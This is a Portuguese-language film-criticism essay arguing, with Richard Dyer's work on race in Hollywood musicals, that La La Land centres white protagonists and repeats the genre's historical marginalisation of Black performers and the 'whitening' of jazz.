Cidade das estrelas… brancas: sobre as questões raciais em “La La Land”

Em The Colour of Entertainment (A Cor do Entretenimento), Richard Dyer coloca em questão o racismo na chamada “era de ouro” dos musicais hollywoodianos. Se pensarmos que os personagens de filmes deste gênero normalmente são artistas do entretenimento (atores, cantores, dançarinos), é curioso notar, por exemplo, que apenas personagens brancos tinham vida amorosa, familiar ou profissional nestas narrativas, para além dos números musicais em si. O mesmo raramente acontecia com personagens negros, cuja participação estava confinada a números musicais avulsos (geralmente performando para uma plateia branca), e que poderiam ser facilmente cortados da montagem final quando exibidos nos estados mais racistas dos EUA.¹

Para Dyer, os elementos fundamentais dos musicais, a dança e o canto, ambos têm a ver com espaço — mover o corpo pelo espaço ou preencher um espaço com a voz, expressando sentimentos. Uma das distinções dos musicais da MGM (em relação às tramas de bastidores como as da Warner) era a forma como eles traziam os números musicais para situações do cotidiano, ou seja, os números não apareciam como apresentações dentro de um espetáculo, mas como parte da vida dos personagens (o mundo como palco). Dançar e cantar na chuva era plenamente plausível — contanto que você fosse branco.

Assim, os musicais considerados mais “integrados” (números com maior “conexão” com a narrativa), em sua grande maioria, acabam nos mostrando o espaço sendo ocupado exclusivamente por pessoas brancas, dançando e cantando onde quiserem, se expandindo no espaço como se este já fosse seu a priori, não importando a quem pertença. Em relação ao racismo institucionalizado dos musicais, Dyer afirma que:

A negritude é contida no musical, guetificada, estereotipada, aprisionada na categoria de “simples entretenimento”. No entanto, a contenção é a antítese do entretenimento que o musical oferece. Começar, de repente, a cantar a plenos pulmões ou dançar quando bem entende, esta é a alegria do musical. É no privilégio dos brancos poderem fazer isso, e no que isso nos diz sobre o sonho branco de estar no mundo, que o musical constrói, de maneira perturbadora, uma visão de raça (DYER, 2002, p. 39).

Dyer lamenta que grandes artistas negros da época, como Nat King Cole ou Ella Fitzgerald, estejam ausentes do panteão dos musicais simplesmente por que não foram (ou foram pouco) filmados — a trajetória de uma das poucas exceções, Lena Horne, parece comprovar que fazer esses musicais não era nenhum mar de rosas.² Dyer salienta, ainda, a habilidade de Hollywood em “embranquecer” ritmos e danças atribuídos à cultura negra americana. Dyer discorda dos que consideram isso uma forma “generosa” de reconhecimento das riquezas de outras culturas, e entende tais apropriações como submetidas a necessidades e objetivos dos brancos, já que não seriam “dançar com o Outro”, mas “incorporá-lo, literalmente absorver o Outro no seu próprio corpo”, ficando por vezes implícito, inclusive, que brancos seriam melhores em música e dança negra do que os próprios negros (DYER, 2002, p. 43).

É o que acontece quando Ann Miller dança os ‘shimmies’ em “Shaking the Blues Away” de Desfile de Páscoa (Charles Walters, 1948), que eram o ‘movimento’ negro por excelência no imaginário branco da época. Ou quando Fred Astaire, no intuito de ‘homenagear’ Bill Robinson, dança com o rosto pintado de negro (a famigerada prática do blackface) no número “Bojangles of Harlem” de Ritmo Louco (George Stevens, 1936), mas não usa sua influência para convidar o próprio para dançar com ele (DYER, 2002, p. 43–44).

Mas o que tudo isso teria a ver com La La Land (2016), o novo longa de Damien Chazelle? Bom, basicamente tudo, uma vez que a narrativa é centrada justamente nas supostas dificuldades de um homem heterossexual branco, Sebastian (Ryan Gosling), de se destacar em Los Angeles como pianista de jazz (uma manifestação artístico-musical amplamente relacionada às comunidades afro-americanas). Não há necessariamente inverossimilhança — é claro que o mercado super competitivo do show business hollywoodiano apresentará empecilhos mesmo para os que gozam dos privilégios sociais de sua branquitude. Mas o que mais incomoda é a forma como o protagonista articula seu discurso purista em relação ao jazz.

Uma cena é bastante ilustrativa. Em um clube, Sebastian elogia a performance dos artistas negros que estão tocando no palco, enquanto explica para Mia sua predileção pelo jazz. O diálogo é entrecortado por detalhes dos instrumentos, até que a música termina e o casal aplaude a performance. Em seguida, Sebastian afirma a suposta necessidade de “salvar o jazz” — tarefa que, obviamente, ele toma para si:

Sebastian: [O Jazz] Está morrendo. Está morrendo, Mia. E o mundo diz: Deixe morrer, já foi o seu tempo. Bom, não enquanto eu estiver aqui.
Mia: E o que você vai fazer?
Sebastian: Terei meu próprio clube.
Mia: Sério?
Sebastian: Nós vamos tocar o que quisermos, quando quisermos, como quisermos, contanto que seja puro jazz.³
Em primeiro plano, Sebastian explica a suposta morte do jazz para Mia, enquanto, ao fundo, os artistas negros tocam, desfocados.

Em primeiro plano, Sebastian explica a suposta morte do jazz para Mia, enquanto, ao fundo, os artistas negros tocam, desfocados.

O próprio enquadramento diz muito sobre o filme, de uma maneira geral: a concepção limitada do jazz de Sebastian está em primeiro plano, enquanto a experimentação e a inventividade dos músicos negros (mesmo que reverenciada pelo protagonista) é relegada a segundo plano— o máximo de proximidade que chegamos deles são os fragmentos dos instrumentos, quase despersonalizados, numa montagem rápida que lembra Whiplash (2014), filme anterior de Chazelle.

A mesma lógica de encenação aparece ainda mais explícita em outro momento musical, quando, apesar de estarem num clube de jazz onde quase toda a figuração é negra, somente Mia e Sebastian são iluminados pelos fachos de luz. Sebastian toca piano enquanto os demais músicos (negros) estão na penumbra, ao passo que uma roda é formada ao redor de Mia enquanto dança, mesmo que ela demonstre menos habilidade do que os casais de dançarinos (negros) que a circundam (e, sabe-se lá porque, eles parecem impressionados com seus movimentos desajeitados). A câmera intercala basicamente entre esses dois enquadramentos, num movimento de chicote de um para o outro que reitera ainda mais o destaque deles naquele espaço, mesmo que este seja majoritariamente frequentado por negros.

Vendo por essa perspectiva, este e outros momentos musicais supostamente “sublimes” do filme parecem, no mínimo, estranhos, para não dizer insensíveis a questões raciais. É difícil entender porque Chazelle, entre todas as possibilidades que tinha, escolhe fazer Sebastian puxar para dançar uma mulher negra desconhecida na primeira vez que canta City of Stars, para o total desagrado do marido dela (também negro). Só a branquitude de Ryan Gosling impede que essa coreografia de corpos seja considerada um tanto abusiva, se lida em termos raciais. Sua suposição implícita, como branco, de que pode ter acesso aos corpos de qualquer um, de que a cidade está a seu serviço, é reiterada na letra da música: “Cidade das estrelas, estás brilhando só pra mim?”. A questão aqui não é demandar “realismo” do musical, mas apenas pontuar, a partir de Dyer, que “até a imaginação utópica tem seus limites de plausibilidade” (DYER, 2002, p. 40) que acabam reiterando, com décadas de atraso, certa política de representação racial que não é nenhuma novidade nos musicais.

Na primeira vez que canta City of Stars, Sebastian puxa uma desconhecida (negra) para dançar

Na primeira vez que canta City of Stars, Sebastian puxa uma desconhecida (negra) para dançar.

Se o implícito “embranquecimento” do jazz endossado por Sebastian já não fosse suficiente, a sua insistente implicância com o “samba” e os “tapas” quase adquire tons xenofóbicos. É que o clube de jazz que Sebastian frequentava antigamente (e que ele quer comprar) se tornou uma casa de música brasileira e comida espanhola. Assim, seu sucesso em “restaurar” o que para ele é o “puro jazz” americano envolve, indiretamente, triunfar sobre culturas de comunidades minoritárias, tidas como invasoras, estrangeiras — literalmente retirá-las de vista, como quando ele e Mia quebram o letreiro do estabelecimento, numa cena de passagem de tempo que é pensada para ser uma piada. Dada sua presunção, fica difícil não torcer justamente contra os sonhos (conservadores) do protagonista.

Chazelle é bastante autoconsciente do terreno espinhoso em que está se metendo, e tenta compensar a falta de representatividade no filme através da abundância de figuração racialmente diversificada. Isso aparece já no número de abertura, Another Day of Sun: pessoas das mais diversas proveniências (indianos, latinos, negros, brancos…) abandonam seus carros no engarrafamento para cantarem e dançarem numa grande celebração da pluralidade multicolorida da cidade. A letra da canção dá a entender que eles são, em sua maioria, imigrantes que abandonaram suas cidades em busca de seus sonhos em Los Angeles (e que talvez essa pauta esteja presente no longa). Mas a suposta diversidade esboçada termina assim que a música acaba: dali pra frente acompanhamos apenas os protagonistas brancos.

Embora possa ter sido feita com as melhores das intenções, a sequência acaba funcionando justamente para “guetificar” uma série de questões, que não extrapolam para o restante do filme. A espontânea coesão dos corpos que dançam coreografados de maneira idêntica, que cantam em uníssono, tende a jogar para debaixo do tapete (através de uma “sensação de comunidade”) desigualdades raciais, étnicas e de classe que não interessam ao filme complexificar (sem falar em problemáticas de mobilidade urbana, numa cidade feita mais para os carros do que para as pessoas). A sequência se revela um mero cartão postal turístico, quase uma peça publicitária para automóveis em sua ostentação de capacidade técnica e orçamentária. Fica parecendo que Chazelle, já prevendo objeções, incluiu-a apenas para se esquivar de críticas e alegar que seu filme é racialmente diversificado — no fim das contas, apenas escolhendo deixar estas questões em segundo plano, como os musicais historicamente sempre fizeram.

Kenneth Mackinnon elabora um contra-argumento a Dyer que poderia nos ajudar a relativizar as problemáticas acima. O autor afirma que “a experiência dos musicais é, no mínimo, ambivalente”, na medida em que a mensagem mais importante seria a de que “há espaço para além da realidade cotidiana, e que esse espaço pertence aos não-privilegiados, aqueles que sofrem discriminação no mundo real”. A busca da utopia pelos personagens oprimidos, que nunca é alcançada, é o que estaria por trás do fascínio dos espectadores pelos musicais, e isto independeria de tons de pele (tanto dos atores quanto do público). Alguns números musicais deixariam claro, inclusive, a inaptidão dos personagens brancos em uma cultura “não-nativa”. Seria o caso da performance de Irene Dunne em Show Boat (James Whale, 1936), em que sua forma de dançar sugere que ela aprendera a dança de mulheres negras anteriormente, explicitando sua “inabilidade de naturalizá-la” (MACKINNON, 2000, p. 44–45).

Embora possamos concordar que qualquer espectatorialidade é sempre ambivalente, a argumentação de Mackinnon, no geral, atesta apenas o óbvio: que diante de toda uma política racista e heterossexista da indústria cinematográfica, só restava às minorias (raciais, LGBT) se identificarem com alguns aspectos dos personagens (brancos, heterossexuais) que tinham disponíveis. E mesmo que essa argumentação se sustentasse num momento de intenso debate sobre representatividade (na frente e por trás das câmeras), isso não se aplica a La La Land. Mia dançando no clube pode até ser lido como inabilidade, mas definitivamente este não é o caso de Sebastian, que aparece sempre como o músico mais talentoso em jazz, principalmente quando acompanhado de músicos negros. Sebastian vive sua participação na banda de Keith (John Legend, o único personagem negro de destaque) como se estivesse vendendo o seu verdadeiro talento e, embora Keith não seja exatamente colocado como vilão, ele representa um claro obstáculo à trajetória do protagonista. Keith flerta com outras sonoridades, como a música eletrônica, e é visto como um “traidor” do “verdadeiro” jazz por Sebastian. Sebastian parece estar perdido, como afirma Chambers, em algum lugar dos anos 1980, se aproximando do pensamento da escola neo-bop, conhecida por rechaçar o fusion jazz, ou seja, a mistura com qualquer influência externa como o rock ou o hip-hop, desprezando figuras hoje tidas como revolucionárias, como Miles Davis (CHAMBERS, 2017). Daí que a cena mais interessante do filme seja a que Keith confronta o purismo de Sebastian: “Você diz que vai salvar o jazz. […] Como você vai ser um revolucionário, se você é tão tradicionalista? Você se prende ao passado, mas jazz é sobre o futuro!”. Mas ao invés de disparar uma possível mudança no personagem, este debate é prontamente ignorado dali pra frente, e o final endossa a visão conservadora de Sebastian ao garantir-lhe o sucesso com abertura de seu clube.

O êxito financeiro não acompanha o amoroso. Sebastian paga, sim, um “alto preço” por se manter “fiel a suas convicções”: “perder seu grande amor”. Esse é o máximo de “crítica”, apática e condescendente, que Chazelle consegue elaborar em relação a Hollywood. E mesmo assim, esse final agridoce parece pensado apenas para rememorar o encerramento de Os Guarda-Chuvas do Amor de Demy (até o leitmotif do casal é semelhante). Como a cena da dança através do espaço, no planetário, parece movida apenas pelo desejo de “superar” Woody Allen e Goldie Hawn levitando em Todos Dizem Eu Te Amo (Woody Allen, 1996). Chazelle parece se contentar apenas em reverenciar suas referências em uma nostalgia vazia e, por conseguinte, carregando para seu filme certo conservadorismo quase inerente a elas (em um dos momentos mais conservadores politicamente nos EUA, parece sintomático que ele esteja batendo recordes de premiações).

Nas redes, proliferam-se listas dos musicais clássicos citados ao longo do filme, geralmente acompanhadas de resenhas sobre como La La Land é um filme “arriscado” (como se produzir um musical com protagonistas heterossexuais fosse algum “risco”, e não apenas a norma), que estaria “ressuscitando” o musical. Mas, se há algo que La La Land ressuscita, é essa faceta mais “embranquecida” dos clássicos, num filme de grande porte para cinema. Em termos de audiovisual, basta notar como séries como Glee (2009–2015), ou a mais recente, The Get Down (2016) propõem discussões muito mais interessantes das questões de raça, gênero ou sexualidade no musical. É uma pena que La La Land, enquanto filme de referências, não se arrisque, de fato, a revisitar criticamente este cânone ou pelo menos não repetir os mesmos regimes de representatividades. Se depender de Chazelle, a Cidade das estrelas vai continuar brilhando… só para os brancos.

Notas:
¹ O Production Code ou Código Hays, código de censura criado pelos setores conservadores de Hollywood, limitava a participação de negros nos filmes, proibindo explicitamente relações inter-raciais. Além disso, outros códigos de censura variavam de estado para estado, e assim diferentes cópias do mesmo filme eram exibidas, dependendo do local.
² Ver, por exemplo, o depoimento de Lena Horne em That’s Entertainment III, onde ela conta sobre sua substituição por Ava Gardner na refilmagem de Show Boat, apesar de seu teste ter sido melhor.
³ Aqui, Chazelle praticamente faz o protagonista bom-moço de La La Land repetir frases proferidas pelo vilão de seu filme anterior, o professor abusivo Fletcher interpretado por J.K. Simmons em Whiplash (2014) — e, em termos de ideias, talvez eles sejam bem parecidos, na verdade.
Referências bibliográficas:
CHAMBERS, Seve. “La La Land Is Clueless About What’s Actually Happening in Jazz”. Vulture, 13 de janeiro de 2017.
DYER, Richard. “The Colour of Entertainment”. In: DYER, Richard. Only Entertainment. London: Routledge, 2002.
MACKINNON, Kenneth. “‘I Keep Wishing I Were Somewhere Else’: Space and Fantasies of Freedom in the Hollywood Musical”. In: MARSHALL, Bill; STILWELL, Robynn. Musicals: Hollywood & Beyond. Intellect, 2000.
Por Jocimar Dias Jr.

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